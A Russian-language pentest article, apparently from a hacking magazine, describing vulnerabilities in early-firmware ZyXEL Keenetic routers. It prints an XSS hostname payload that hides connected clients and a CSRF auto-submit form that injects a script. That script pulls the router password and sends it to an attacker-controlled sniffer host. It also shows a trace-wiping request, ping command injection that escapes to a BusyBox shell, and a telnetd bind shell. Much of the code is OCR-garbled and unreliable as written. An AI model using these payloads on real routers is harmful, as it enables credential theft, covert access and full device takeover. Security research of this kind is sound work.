роутерКак ошибки в админке маршрутизаторов могут выдать полный доступ к роутеру? Производители программного обеспечения недостаточно заботятся о безопасности маршрутизаторов. А ведь именно через роутер злоумышленник может проникнуть во внутреннюю сеть и прослушивать весь проходящий трафик. В данной статье будут рассмотрены баги и уязвимости, которые были найдены мной и товарищем @090h в процессе пентеста завоевавших популярность роутеров ZyXEL Keenetic.

СОВРЕМЕННЫЙ РОУТЕР

Если не брать тех людей, которые сравнивают установку Wi — Fi — роутера с монтированием вышки сотовой связи у себя дома и опасаются влияния радиоволн на свой мозг, можно с уверенностью сказать — беспроводная точка доступа есть почти у каждого активного пользователя Сети. Помимо удобства, Wi — Fi — роутер, как правило, добавляет и безопасности: устройства пользователя оказываются за файрволом и недоступны для прямых атак. Но вместе с тем сама точка доступа может стать объектом для атаки. Программное обеспечение точки доступа (как и любого другого девайса) нередко может быть уязвимо. Производители в большинстве случаев редко придают значение серьезным проверкам безопасности, концентрируясь на удобстве пользователя и максимальной производительности. Аргументация простая: если большинство сервисов недоступны извне, а админка доступна только для пользователей в локальной сети, то чего заморачиваться? На самом же деле набор из простых уязвимостей вкупе с социальной инженерией может дать злоумышленнику удаленный доступ к управлению роутером (правда, при определенном стечении обстоятельств). В этой статье мы рассматриваем потенциальную возможность такой атаки на роутер ZyXEL Keenetic, с первой версией прошивки, которая установлена по умолчанию.

ПЕРВЫЙ ВЗГЛЯД

Надо понимать, что мы целенаправленно искали уязвимости в роутере. Не было задачи взломать кого-то, у кого стоит нужная нам точка доступа. Первое, с чего мы начали, —это сканирование портов Nmap’OM из внутренней сети (снаружи веб — админка по умолчанию закрыта). Сканер показал нам три открытых порта, из которых нас интересуют только два —80 — й (веб — интерфейс) и 23 — й (Telnet).

PORT STATE service version 23/tcp open telnet?

53/tcp open domain dnsmasq 2.55 | dns — nsid: |_ bind.version: dnsmasq — 2.55 80/tcp open http GoAhead — Webs httpd | http — auth:

I HTTP/1.0 401 Unauthorized

На 80 — м порту крутится обычный веб — интерфейс для управления роутером. С него мы и начнем.

веб — баги

Если рассмотреть веб — интерфейс с точки зрения безопасности, то это провал. Классика жанра: везде, где есть возможность ввода своей информации, отсутствует фильтрация! В формах отсутствуют какие-либо токены, что открывает возможность для CSRF — атак.

Конкретно каждую XSS я рассматривать не буду, но стоит обратить внимание на один интересный вариант эксплуатации XSS (лайфхак). Тебе наверняка хотелось бы скрыть себя из списка клиентов, подключенных к роутеру (их можно посмотреть в админке роутера). Казалось бы, для этого нужно иметь доступ к консоли, писать модули ядра и так далее. Но ответ лежит на поверхности. Просто меняем имя нашего компьютера на 1′)]»);alert(1); и подключаемся к роутеру. В результате можно увидеть, что мы «втиснулись» в JS таким образом, что он не обработался и выдал пустой список клиентов. Этого будет вполне достаточно, чтобы скрыть себя и других пользователей, подключенных к точке доступа, от глаз невнимательного админа.

Благодаря CSRF и XSS можно добыть пароль от роутера и получить удаленный доступ через бэкенд, что будет самым лакомым подарком. Однако для этого не обойтись без социальной инженерии (вообще любая атака становится возможной только при определенном стечении обстоятельств).

1. Отправляем админу ссылку на хост с заранее подготовленным HTML — файлом:

<F0.RM NAME=»buy.» action=»http://192.168.1. 1/req/- usersAdd» METH0D=»P0ST»> <input type=»hidden» name=’user_name’ valuer

‘<script src=’7/server/js/los» type=»text/____________

javascript»>’>………….

<input. type=»hidden» name=’password’ value=»3″>. <input type=»hidden» name=!fullAccess’ value=»0″> <input type=»hidden» name=’save’ уа1ие=»%О0%94% D0%BE%D0%B1%D0%B0%D0%B2%D0%B8%O1%82%D1%8C»> <input type=»hidden» name=’ submit_url’ valuer

«%2Fserver%2Fusers.asp»>__……

</F0RM>

<script>document.buy.submit();setTimeout(‘document. location = «http://192.168.1.1/server/users. asp»‘,3000)</script>

Как видишь, используется автосабмит и типичная CSRF. В одном из полей —user_name —с помощью <script> вставляется наш JS — пейлоад.

2. Пользователь переадресовывается на протрояненную скриптом страницу роутера, и XSS — код исполняется у него в браузере. Правда, есть один важный нюанс. В админке используется Basic access authentication, поэтому атака сработает, только если у жертвы открыта админка или же логин — пароль был сохранен в браузере.

3. С помощью пейлоада выполняем необходимые нам действия. В примере, приложенном к статье, мы просто выдергиваем из веб — интерфейса пароль от роутера и присылаем на наш сниффер. Пейлоад для этой задачи довольно простой:

var xmlhttp = getXmlHttp()……

xmlhttp.open(‘GET1л ‘/homenet/wireless/security.asp’

false);

xmlhttp.send(null); if(xmlhttp.status == 200) ( t = xmlhttp.responseText;

t=t,replace(/A(.\n).<html/i, «<html»); t»t.replace(/<\/html><.\n).S/i. N/httab); var parser =__new DOMParser()j

var dom = parser.parseFromString(t, «text/xml»).;_…..

password = dom. getElementsByTagName(‘ input’ )[10].-‘

value //а вот и пароль

//посылаем на снифер

var imm = document.createElement(‘img»);

imm. set Attribute (‘ src’., «http: //server/snifer ?»+„

password)

Стоит обратить внимание на то, что, скачав с роутера файл http://192.168.1.1/req/config/KEENETIC.cfg на наш удаленный сервер и выполнив команду — cat KEENETIC.cfg | gzip — d», мы получим значение всех системных переменных, в том числе и Wi — Fi — ключ от роутера и от админки роутера. 4. После успешной передачи данных на сниффер выполняем AJAX, который отправит запрос на очистку таблицы (тем самым мы стираем HaiuyXSS).

//.clear — var xmlhttp = getXmlHttp()

xmlhttp.open(‘POST1, ‘/req/usersDel’, false); xmlhttp.send(«select0=ON&selectl=ON&delAll=%D0%A3 %D0%B4%D0%Be%D0%BB%D0%B8%Dl%82%Dl%8C+%D0%B2%Dl%81 — — %D0%B5&submit_url=%2Fserver%2Fusers.asp%3Fuser„e._. name%3DCSRF%0D%0Apassword%3DCSRF%0D%0AfullAccess %3D0%0D%0Asave%3D%D0%94%D0%BE%D0%Bl%D0%B0%D0%B2% D0%B8%Dl%82%Dl%8C%0D%0Asubmit_url%3D%2Fserver%2 — ‘ Fusers.asp»);

5. Бинго! Роутер наш!

Конечно, это скорее proof — of — concept. Это не значит, что можно взломать любой из полумиллиона девайсов Keenetic, которые были проданы. Атака возможна при стечении двух обстоятельств. Админ должен открыть ссылку —это первое. И веб — интерфейс роутера должен быть открыт в браузере, или же логин — пароль должны быть сохранены в браузере. Однако proof — of — concept работает!

JAILBREAK FROM CMD

Подключившись по телнету и залогинившись с данными, которые мы извлекли из файла KEENETIC.cfg, попадаем в интерактивную консоль Keenetic. Здесь мы можем выполнять примитивные операции или даже системные команды через exec. Пример:

Password :

KEENETIC 4G> sys atsh

F/W version : V1.00(AABV.1.2)D0

Product Model : KEENETIC 4G RevB

KEENETIC 4G> wlan status Hardware address: CC:5D:4E:FE:Al:00

Wireless : On

Mode: Access Point

SSID..: ZyXEL_KEENETIC_4G_FEA100

Channel: 10

Protocol: 802.11b/g/n Security: WPA2 — PSK TKIP/AES ASCII key.: 14881488

Но дело в том, что это дико неудобно, да и хотелось бы иметь полноценную консоль, а не какую-то кривую обертку. Для получения полноценной консоли был найден и проэксплуатирован интересный баг с неправильным парсингом аргумента для ping. Благодаря ему удается выполнять произвольные команды и в том числе «выпрыгнуть» из предложенной оболочки в шелл ash:

KEENETIC 4G> sys ping ya.ru;ls

ping: bad address ‘ya.ru’

bin dev.etc lib proc sbin sys tmp usr yar web

KEENETIC 4G> sys ping ya.ru;ash

ping: bad address ‘ya.ru’

BusyBox vl.8.2 (2012-02 21 14 52 32 MSK) <->. built-in shell (ash)

Enter ‘help’ for a list of built-in commands..

И вот мы уже имеем полноценную консоль. Теперь мы можем делать все, что угодно, но не стоит забывать, что в роутере используется файловая система squashfs в режиме read-only.

Теперь сделаем вещь, которая облегчит нашу работу с консолью. Конечно же, это бэкконнект. Делается он очень просто:

~ telnetd — F — 1 /bin/ash — р 9090

Теперь открываем консоль на нашем компьютере:

root@bt:~ telnet 192.168.1.1 9090 Trying 192.168.1.1… Connected to 192.168.1.1. Escape character is ‘]’.

BusyBox vl.8.2 (2012-02-21 14:52:32 MSK) & built-in..shell (ash)

Enter ‘help’ for a. list of built-in commands

~ cat /ргос/version

Linux version 2.6.23.17 (developers@ndmsystems.com) (gcc version 4.1.2) 9 Tue Feb 21 20:21:39 MSK 2012

Как видишь, мы можем даже сделать бэкконнект на свой сервер. В некоторых случаях это может помочь обойти защиту, если таковая имеется.